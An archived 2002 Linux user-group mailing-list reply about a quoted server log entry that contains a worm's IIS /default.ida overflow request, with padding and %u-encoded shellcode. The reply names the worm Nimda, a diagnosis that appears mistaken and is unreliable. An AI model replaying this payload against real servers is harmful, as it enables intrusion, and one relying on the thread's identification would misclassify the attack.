[PLUG] Nimda?

mike delamater mikedela at ipns.com
Tue Aug 27 06:53:51 UTC 2002


Yup, it's NIMDA.

I still get attacks from it, too. I gave up on trying to track it, maybe
somebody on the list will know how to track the IP block, I don't.
Mike
> 217.41.19.139 - - [15/Aug/2002:13:52:37 +0800] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN> NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%> u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
> HTTP/1.0" 400 327 "-" "-"
>
>
>
>
> anyone who could tell what is this and how can I know from what region
> is this IP address...........
>
> tnx.
>
>
> _______________________________________________
> PLUG mailing list
> PLUG at lists.pdxlinux.org
> http://lists.pdxlinux.org/mailman/listinfo/plug


-- 
Mike De La Mater
Computer Consulting
Twenty five years experience
Networks, PCs and office technologies
503-702-6749
mikedela at ipns.com






More information about the PLUG mailing list